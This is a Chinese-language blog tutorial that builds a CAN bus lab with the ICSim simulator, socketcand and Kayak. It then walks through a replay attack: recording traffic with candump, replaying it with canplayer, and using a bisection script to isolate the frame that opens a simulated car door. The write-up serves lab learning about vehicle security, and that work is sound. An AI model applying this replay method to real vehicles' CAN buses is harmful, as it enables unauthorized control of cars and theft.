【车联网】CAN模拟环境搭建到重放攻击

CAN模拟环境搭建到重放攻击

环境搭建

  • ICSim(仪表盘模拟器)
  • Socketcand(CAN网络)
  • Kayak(一款基于SocketCAN的CAN总线分析工具)

ICSim安装

1
2
3
4
5
6
7
# 安装依赖
sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf -y
# 下载ICSim
git clone https://github.com/zombieCraig/ICSim.git
# 编译安装
cd ICSim/
sudo make

Untitled

socketcand安装

1
2
3
4
5
6
7
8
9
# 下载socketcand
git clone https://github.com/linux-can/socketcand.git
cd socketcand# 获取缺少的文件
wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in# 编译安装
autoconf
./configure
make clean
make
sudo make install

Untitled

Kayak安装

1
2
3
4
5
6
7
# 下载
git clone https://github.com/dschanoeh/Kayak.git
# 安装jdk
sudo apt-get install openjdk-8-jdk
# 安装
cd Kayak
mvn clean package

Untitled

Kayak安装时间会很久,等待许久之后,终于安装成功:

Untitled

启动模拟器

1
2
3
4
5
6
# 设置vcan(虚拟CAN)接口
sudo modprobe can
sudo modprobe vcan
# ip link 命令启动 can 接口
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

Untitled

1
2
3
4
5
cd Icsim/
# 打开仪表盘模拟器
./icsim vcan0
# 打开仪表盘控制器
./controls vcan0

Untitled

光标放在控制器界面上,就可以对模拟器进行操作:

功能 控制按钮
转向 键盘左右
速度 键盘上下
开/关左前车门 右shift/左shit+A
开/关右前车门 右shift/左shit+B
开/关左后车门 右shift/左shit+X
开/关右后车门 右shift/左shit+Y
开启全部车门 左shift+右shift
关闭全部车门 右shift+左shift

canplayer重放攻击

原理就是利用candump监听模拟器操作的数据包,再利用canplayer集合数据包重新回放一遍监听到的操作。

首先candump vcan0 -l开启监听:

1
2
3
4
root@ubuntu:~# candump vcan0 -l
Disabled standard output while logging.

Enabling Logfile 'candump-2023-03-20_135818.log'

candump运行之后一直监听数据。

这时在模拟器模拟操作右Shift+A开启左前侧车门:

Untitled

然后终端退出candump监听,查看candump-2023-03-20_135818.log,会发现有很多数据:

Untitled

将车门闭合后,运行canplayer -I candump-2023-03-20_135818.log,观察模拟器状态,会发现模拟器自动将车门开启:

Untitled

接着使用二分法对数据包进行分析,找出具体哪个包可以使车门打开:

1
2
3
4
5
6
7
8
9
10
11
12
13
# 读取test.log文件行数
with open('candump.log', 'r') as f:
lines = f.readlines()
num_lines = len(lines)

# 使用二分法将内容分别输出到两个新文件
midpoint = num_lines // 2
with open('file1.log', 'w') as f1, open('file2.log', 'w') as f2:
for i, line in enumerate(lines):
if i < midpoint:
f1.write(line)
else:
f2.write(line)

二分法就是将数据分成两半,分别对数据进行测试,然后对模拟器有反应的一半再继续进行分裂,循环往复。

最终能确定使车门打开的数据包为:(1679293970.363015) vcan0 19B#00000E000000

Untitled